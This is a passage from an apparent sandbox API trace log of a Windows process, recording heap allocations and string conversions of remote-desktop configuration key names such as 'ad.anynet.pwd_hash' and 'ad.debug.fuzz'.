hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbffb3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0283.203] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x1974c40 [0283.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbffb3c, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=13 | out: lpWideCharStr="ad.anynet.id") returned 13 [0283.203] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974940 [0283.203] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x1975348 [0283.203] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x19725d0 [0283.204] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.204] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10ed8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0283.204] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1976660 [0283.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10ed8, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=20 | out: lpWideCharStr="ad.anynet.keepalive") returned 20 [0283.204] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974958 [0283.204] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x198a308 [0283.204] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc16398, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0283.204] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x197b350 [0283.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc16398, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=27 | out: lpWideCharStr="ad.anynet.last_auto_update") returned 27 [0283.204] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974970 [0283.205] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990298 [0283.205] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1140c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0283.205] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19742b0 [0283.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1140c, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=24 | out: lpWideCharStr="ad.anynet.listen_socket") returned 24 [0283.205] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974988 [0283.205] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196efe8 [0283.205] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1653c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.206] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19742b0 [0283.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1653c, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=21 | out: lpWideCharStr="ad.anynet.network_id") returned 21 [0283.206] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19749a0 [0283.206] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x196f020 [0283.206] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c770, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0283.206] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1974c40 [0283.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c770, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=15 | out: lpWideCharStr="ad.anynet.pkey") returned 15 [0283.206] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19749b8 [0283.206] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1975370 [0283.207] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0df78, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0283.207] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1976660 [0283.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0df78, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=19 | out: lpWideCharStr="ad.anynet.pwd_hash") returned 19 [0283.207] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19749d0 [0283.207] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x198a338 [0283.207] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0df8c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0283.207] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1976660 [0283.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0df8c, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=19 | out: lpWideCharStr="ad.anynet.pwd_salt") returned 19 [0283.207] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19749e8 [0283.207] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x198a368 [0283.208] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26f88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 37 [0283.208] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1972208 [0283.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26f88, cbMultiByte=-1, lpWideCharStr=0x1972208, cchWideChar=37 | out: lpWideCharStr="ad.security.permission_profiles.user") returned 37 [0283.208] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974a00 [0283.208] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x19721b0 [0283.208] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972208 | out: hHeap=0x1930000) returned 1 [0283.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26fb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0283.208] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x19755a0 [0283.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26fb0, cbMultiByte=-1, lpWideCharStr=0x19755a0, cchWideChar=43 | out: lpWideCharStr="ad.security.permission_profiles.predefined") returned 43 [0283.208] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974a18 [0283.208] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x1975a80 [0283.209] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19755a0 | out: hHeap=0x1930000) returned 1 [0283.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0cf08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0283.209] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x66) returned 0x1980390 [0283.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0cf08, cbMultiByte=-1, lpWideCharStr=0x1980390, cchWideChar=51 | out: lpWideCharStr="ad.security.permission_profiles.address_to_profile") returned 51 [0283.209] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974a30 [0283.209] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x66) returned 0x1980d30 [0283.209] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa0) returned 0x19917c0 [0283.209] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19725d0 | out: hHeap=0x1930000) returned 1 [0283.210] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1980390 | out: hHeap=0x1930000) returned 1 [0283.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e240, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0283.210] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x19755a0 [0283.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e240, cbMultiByte=-1, lpWideCharStr=0x19755a0, cchWideChar=43 | out: lpWideCharStr="ad.security.permission_profiles.invitation") returned 43 [0283.210] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974a48 [0283.210] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x1975d20 [0283.210] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19755a0 | out: hHeap=0x1930000) returned 1 [0283.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c0a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0283.210] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x48) returned 0x198bb08 [0283.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c0a8, cbMultiByte=-1, lpWideCharStr=0x198bb08, cchWideChar=36 | out: lpWideCharStr="ad.anynet.register.add_to_namespace") returned 36 [0283.210] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974a60 [0283.210] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x48) returned 0x198bf18 [0283.211] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198bb08 | out: hHeap=0x1930000) returned 1 [0283.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c0ec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0283.211] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198bb08 [0283.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c0ec, cbMultiByte=-1, lpWideCharStr=0x198bb08, cchWideChar=33 | out: lpWideCharStr="ad.anynet.register.add_to_roster") returned 33 [0283.211] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974a78 [0283.211] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198bf68 [0283.211] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198bb08 | out: hHeap=0x1930000) returned 1 [0283.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c0cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 32 [0283.211] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x40) returned 0x1970618 [0283.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c0cc, cbMultiByte=-1, lpWideCharStr=0x1970618, cchWideChar=32 | out: lpWideCharStr="ad.anynet.register.namespace_id") returned 32 [0283.211] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974a90 [0283.211] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x40) returned 0x1970810 [0283.211] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970618 | out: hHeap=0x1930000) returned 1 [0283.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c110, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 29 [0283.212] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970618 [0283.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c110, cbMultiByte=-1, lpWideCharStr=0x1970618, cchWideChar=29 | out: lpWideCharStr="ad.anynet.register.roster_id") returned 29 [0283.212] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974aa8 [0283.212] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970858 [0283.212] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970618 | out: hHeap=0x1930000) returned 1 [0283.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c130, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0283.212] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1970618 [0283.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c130, cbMultiByte=-1, lpWideCharStr=0x1970618, cchWideChar=31 | out: lpWideCharStr="ad.anynet.register.roster_tags") returned 31 [0283.212] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974ac0 [0283.212] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x19708a0 [0283.212] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970618 | out: hHeap=0x1930000) returned 1 [0283.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9f54, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.212] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.213] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9f54, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.relay.error") returned 22 [0283.213] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974ad8 [0283.213] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196f058 [0283.213] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.213] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9f3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.213] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.213] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9f3c, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.relay.state") returned 22 [0283.213] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974af0 [0283.213] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196f090 [0283.213] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.213] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c73c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.213] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c73c, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.svr_ciphers") returned 22 [0283.214] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993958 [0283.214] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196f0c8 [0283.214] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10f30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.214] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19742b0 [0283.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10f30, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=21 | out: lpWideCharStr="ad.anynet.token_salt") returned 21 [0283.214] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993970 [0283.214] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x196f100 [0283.214] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10f48, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0283.214] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4c) returned 0x19725d0 [0283.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10f48, cbMultiByte=-1, lpWideCharStr=0x19725d0, cchWideChar=38 | out: lpWideCharStr="ad.anynet.accept_volatile_tokens_info") returned 38 [0283.214] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993988 [0283.215] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4c) returned 0x1972208 [0283.215] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19725d0 | out: hHeap=0x1930000) returned 1 [0283.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9190, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0283.215] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x19742b0 [0283.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9190, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=23 | out: lpWideCharStr="ad.anynet.update_state") returned 23 [0283.215] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19939a0 [0283.215] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f138 [0283.215] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff0cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0283.215] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x197b350 [0283.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff0cc, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=25 | out: lpWideCharStr="ad.anynet.two_factor_key") returned 25 [0283.215] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19939b8 [0283.215] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x19902d8 [0283.216] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff0e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0283.216] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198bb08 [0283.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff0e8, cbMultiByte=-1, lpWideCharStr=0x198bb08, cchWideChar=34 | out: lpWideCharStr="ad.security.two_factor_auth_flags") returned 34 [0283.216] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19939d0 [0283.216] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198bfb8 [0283.216] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198bb08 | out: hHeap=0x1930000) returned 1 [0283.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0f87c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0283.216] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1976660 [0283.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0f87c, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=20 | out: lpWideCharStr="ad.custom_client_id") returned 20 [0283.216] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19939e8 [0283.216] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x198a398 [0283.217] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ce84, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0283.217] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x197b350 [0283.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ce84, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=26 | out: lpWideCharStr="ad.debug.dump_inject_keys") returned 26 [0283.217] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993a00 [0283.217] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1990318 [0283.217] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0cf60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0283.217] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19742b0 [0283.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0cf60, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=24 | out: lpWideCharStr="ad.debug.dump_rcvd_keys") returned 24 [0283.217] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993a18 [0283.217] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f170 [0283.218] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0fb78, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0283.218] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19742b0 [0283.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0fb78, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=24 | out: lpWideCharStr="ad.debug.dump_sent_keys") returned 24 [0283.218] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993a30 [0283.218] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f1a8 [0283.218] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9f6c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0283.220] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1974c40 [0283.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9f6c, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=14 | out: lpWideCharStr="ad.debug.fuzz") returned 14 [0283.220] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993a48 [0283.220] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1975398 [0283.220] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9a7c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0283.220] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x1976660 [0283.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9a7c, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=17 | out: lpWideCharStr="ad.features.motd") returned 17 [0283.220] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993a60 [0283.220] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x198a3c8 [0283.220] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x140) returned 0x196f728 [0283.221] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19917c0 | out: hHeap=0x1930000) returned 1 [0283.221] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0283.221] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x19742b0 [0283.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbead60, cbMultiByte=-1, lpWideCharStr=0x19742b0, 